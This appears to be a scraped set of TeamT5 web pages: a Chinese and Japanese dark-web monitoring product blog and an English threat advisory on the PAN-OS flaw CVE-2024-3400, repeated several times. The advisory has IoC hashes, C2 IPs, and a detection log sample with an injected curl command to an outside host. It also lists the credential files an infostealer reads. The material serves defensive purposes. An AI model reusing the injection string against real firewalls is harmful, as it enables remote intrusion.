####TeamT5 監控的優勢
- **定期監控**：能夠快速識別深網和暗網風險。
- **為企業爭取關鍵應變時間**：提供時間進行公關和營運調整，以將損害降至最低。
- **有效評估外洩受害範圍**：幫助評估外洩造成的影響，並保護公司聲譽。

####精準監控暗網上金融犯罪活動
TeamT5 的監控專注於與金融業和電子商務相關的犯罪活動。重點監控中文頻道和社群，資料來源由專業分析師團隊定期更新。監控來源包括 40 多個深網和暗網站點，400 多個 Telegram 頻道，以及各種中文駭客族群使用的社群媒體平台。


####清晰易讀的外洩偵測告警介面
ThreatVision 平台提供詳細外洩資訊，包括：
- **遭洩露憑證列表**：詳細說明從外洩檔案(如 Combo File)洩漏之帳戶密碼，以及受駭或感染之設備中洩露的登入憑證。
- **風險評估和建議**：專家分析和緩解建議來減少風險。

##結論
在當今的數位化環境中，暗網對全球企業構成了重大威脅。然而，透過 TeamT5 的 ThreatVision 深暗網風險監控，企業可以主動監控並減少這些風險。透過了解暗網、評估威脅並及時採取行動，企業可以保護其營運、財務和聲譽，免受隱藏在網路黑暗角落中的危險侵害。
保持警惕，並透過 ThreatVision 保護您的企業——因為在對抗網路威脅的戰鬥中，知識和主動措施是您最好的盟友。


> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://uploads.teamt5.org/upload/files/TeamT5-DDW-Datasheet-TW.pdf)

照亮暗網：保護您的資料和聲譽

インターネットの影の隅では、ダークウェブ がサイバー犯罪者の巣窟として栄えており、従来の検索エンジンやブラウザから隠されているダークウェブは、マルウェアの取引から盗まれたデータの販売に至るまで、違法行為の拠点となっています。近年になり、企業はダークウェブによる前例のないリスクに直面しており、データ侵害は財務上、運営上、法的な影響に重大な影響を及ぼす可能性があります。だからこそ、これらの脅威を理解し、軽減することが不可欠です。ThreatVision のディープウェブ、ダークウェブ・リスクモニタリングを通じた TeamT5 の最新製品は、強固なソリューションを提供します。

##ダークウェブによる漏洩が企業に与える影響

####財務的損失

データ侵害による経済的影響は、ダークウェブ上で漏洩した場合、恐喝、詐欺、その他の金融犯罪につながることがよくあります。その顕著な例として、大手信用調査機関が個人データの侵害に直面した事件などが挙げられます。これには、さまざまな地域からの罰金も含まれており、このような侵害による深刻かつ広範囲にわたる影響が浮き彫りになっています。

####業務の中断
データ侵害は企業運営に大きな混乱をもたらす可能性があります。過去には、2014 年の感謝祭にデータが流出し、 47,000 人の従業員がITシステムにアクセスできず、在宅勤務を余儀なくされた大手メディアの事件が存在します。これには、「平和の守護者」と呼ばれるハッカーが同社のシステムに侵入したことが関係してており、機密情報が漏洩したことで、同社の株価は 5 日以内に 10% 以上下落しました。業務上の混乱は深刻で、従業員は紙ベースのプロセスに戻さざる得なくなり、非効率とダウンタイムの長期化につながりました。

####法的影響
規制された業界の企業は、顧客データが漏洩した場合に厳しい罰則を受けることとなります。ある小売大手の情報漏えい事件では、4,000万件以上のクレジットカードとデビットカードの記録が盗まれ、同社は被害を受けた顧客や銀行から90件以上の訴訟を起こされました。また、連邦取引委員会（FTC）を含む、規制機関の調査が入り、事件への対処と顧客の信頼回復のために6,100万ドルを超える費用が発生しました。

##ディープウェブとダークウェブへの理解

インターネットは、従来の検索エンジンでアクセスできる表層的なウェブだけで構成されているわけではありません。ディープウェブは、ユーザー名とパスワードでロックされているインデックスのないサイトで構成されており、中には法的文書や財務記録などの機密情報が含まれています。ディープウェブの大部分は無害ですが、企業が積極的に保護しなければならない重要なデータを保持しています。

ダークウェブ上でよく見られるサイバーセキュリティ犯罪
- **マルウェアの取引**: ハッカーは、システムに感染してデータを盗むために、さまざまな種類のマルウェアを取引します。

- **認証情報の販売**: 侵害されたユーザー名とパスワードが販売されており、企業システムの侵害につながります。

- **データ販売**: 個人および企業の機密データが販売され、評判が損なわれます。

- **クレジット カード詐欺**: 漏洩したクレジット カード番号は営利目的で販売され、詐欺行為に使用されます。


しかし、本当の危険はダークウェブにあります。高い匿名性を提供するTorのような特別なブラウザを通してのみアクセス可能なダークウェブは、犯罪活動のホットスポットです。この匿名性が、サイバー犯罪者にとって、データ漏洩、詐欺、マネーロンダリング、盗難データの販売といった活動に従事する上で魅力となっています。


##ThreatVision でダークウェブのリスクに対抗

####TeamT5 のディープウェブ、ダークウェブのリスク監視

これらの脅威に対処するために、TeamT5 は、ThreatVision を通じて包括的なディープウェブ、ダークウェブ・リスクモニタリングモジュールを提供しており、主に Weekly Alert と Tailored Report という 2 つの製品が含まれています。

#####Weekly Alert
Weekly Alert は、ディープウェブとダークウェブの自動化された週次スキャンを提供します。結果は、ThreatVision プラットフォームまたは電子メール経由で確認でき、CSV 形式でエクスポートして詳細な分析を行うことが可能です。これにより、企業は潜在的なリスクを迅速に特定して対応できます。

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)
 

#####Tailored Report
Tailored Report は、脅威のリスク評価、最新の調査結果、緩和策の提案など、より深いレベルの分析を提供します。これには、APAC 地域のディープウェブ、ダークウェブサイト、ハッカーフォーラム、中国語圏のアンダーグラウンド コミュニティ、ソーシャルメディア、および人気のあるフォーラムが含まれます。レポート内容は、TeamT5 の専門アナリストが収集および分析した情報により充実しています。

##TeamT5 モニタリングの利点

- **定期的なモニタリング:** ディープウェブ、ダークウェブのリスクを迅速に特定します。
- **プロアクティブな対応**: 被害を最小化するための広報活動や業務調整を行う時間を提供します。
- **影響評価**: 侵害の影響を評価し、企業の評判を保護します。


 
##金融関連のサイバー犯罪活動の重点的な監視

TeamT5のモニタリング対象は、金融業界と電子商取引に関連する犯罪活動と、中国語を話すチャネルやコミュニティに焦点を当てています。ソースは専任のアナリストチームによって定期的に更新されており、40以上のディープウェブやダークウェブ、400以上のTelegramチャンネル、中国語を話す脅威行為者が使用する各種ソーシャルメディアプラットフォームが含まれます。

##包括的なレポート
ThreatVision プラットフォームは、次のような詳細なレポートを提供します。

- **漏洩データのリスト**:コンボリストおよび漏洩したデバイスから漏洩した認証情報の詳細

- **リスクの評価と提言**: リスクを軽減するための専門家による分析と実行可能な推奨事項の提言

##まとめ

今日のデジタル環境において、ダークウェブは世界中の企業に重大な脅威をもたらしています。しかし、[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)を通じたTeamT5のディープ、ダークウェブ・リスクモニタリングを使用することで、企業はこれらのリスクをプロアクティブに監視し、軽減することができます。ダークウェブを理解ならびに脅威を評価し、タイムリーな対策を講じることで、企業はインターネットの暗い隅に潜む隠れた危険から業務、財務、評判を守ることができます。

サイバー脅威との戦いにおいて、知識と事前の対策は最大の味方とななります。

ダークウェブに光を当てる: データと評判の保護

>The following blog post is based on our April H2 Vulnerability Insights Report. 
>
>TeamT5 Vulnerability Research Team is dedicated to providing timely mitigation and response guidelines to critical vulnerabilities. Contact us for more information about our vulnerability intelligence.

## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)

hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```

### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 
3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

Alerts of Exploiting Palo Alto GlobalProtect: CVE-2024-3400

本文改寫自 2024 年 4 月第二期的漏洞情資報告（VIR 2024 April H2）。 TeamT5 漏洞研究團隊致力於針對重大漏洞提供即時的應對措施與緩解方案。如欲進一步了解 TeamT5 的漏洞情資報告，請[與我們聯繫](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)。

 

>**CVE-2024-3400: Palo Alto GlobalProtect 漏洞**
 
>CVE-2024-3400 為命令注入漏洞，存在於 Palo Alto Networks PAN-OS 軟體且有設置 GlobalProtect portal 之防火牆。該漏洞允許未經身份驗證的威脅行動者，執行任意程式碼，並以 root 權限，將惡意軟體部署到目標裝置。


## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)
hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```



### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 

3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/


>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

CVE-2024-3400: Palo Alto GlobalProtect 漏洞

>この記事は、2024 年 4 月の脆弱性インテリジェンス レポートの第 2 号 (VIR 2024 April H2) を編集したものです。 TeamT5 脆弱性研究チームは、主要な脆弱性に対するリアルタイムの対応と軽減するためのソリューションの提供に取り組んでいます。 TeamT5 の脆弱性インテリジェンス レポートの詳細について知りたい方は、ぜひお問い合わせください。
>
>**CVE-2024-3400: Palo Alto GlobalProtect の脆弱性** 
>CVE-2024-3400 は、Palo Alto Networks PAN-OS ソフトウェアに存在するコマンドインジェクションの脆弱性であり、GlobalProtect ポータルのファイアウォールが設定されています。この脆弱性により、認証されていない攻撃者が root 権限で任意のコードを実行し、ターゲット デバイスにマルウェアを展開することが可能になってしまいます。


## Alerts of Exploiting Palo Alto Networks PAN-OS

TeamT5 released mitigation and response guidelines to a vulnerability in Palo Alto Networks PAN-OS software, CVE-2024-3400. CVE-2024-3400 is a arbitrary file creation vulnerability in the GlobalProtect portals of Palo Alto Networks PAN-OS software that will allow unauthenticated threat actors to execute arbitrary code and deploy malware to the targets’ devices with root privilege. 

Notably, CVE-2024-3400 has a pre-requitsite of enabling GlobalProtect gateway or portal. If enabled, the threat actors can exploits the arbitrary file creation vulnerability resulted from the GlobalProtect portals to achieve the command injection for remote code execution. 

### Executive Summary

We assess the severity level of CVE-2024-3400 is critical and urge our customers to use this report to mitigate the effects. First, Proof of Concepts (PoC) exploiting CVE-2024-3400 have been circulating in the wild.[1] Second, Palo Alto confirmed the attack attempts that exploiting the vulnerability.[2] Last, public reports [3] [4] have revealed that state actors exploited CVE-2024-3400 in the attacks.

Our telemetry detected at least two APT groups exploiting CVE-2024-3400 since March 2024, SLIME60 and SLIME61, both are newly identified APT groups. We summarized the activities in the **Exploitation Status** subsection.

Based on the exploitation status, we depicted the Possible Attack Scenario in this report. We also concluded the IOCs in Appendix I: Malware and Appendix II: Indicators of Compromise (IoC). Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our customers.

The Mitigation and Response Advisory includes:
- Mitigation Adversary
- Threat Hunting Tools, including two nuclei-based scanner:
 - Nuclei-based UPStytle webshell scanner
 - Nuclei-based scanner to check if your device is compromised via XStealer



### Exploitation Status

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. Moreover, our telementry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.

- SLIME60 has exploited CVE-2024-3400 with XStealer since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. Notably, based on Chinese characters in scripts from C2, we hold high confidence that SLIME60 is originated from China.
- SLIME61 (aka UTA0218) has exploited CVE-2024-3400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia.

### Affected Products

PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both)

### Mitigation and Response Advisory

#### 1. Official Information

Palo Alto released the official mitigation advisory. 

- Applying Vulnerability Protection to GlobalProtect Interfaces
 - URL: https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184

The vulnerability is patched in PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions. We recommend our customers to upgrade your Palo Alto Networks PAN-OS software to corresponding version.

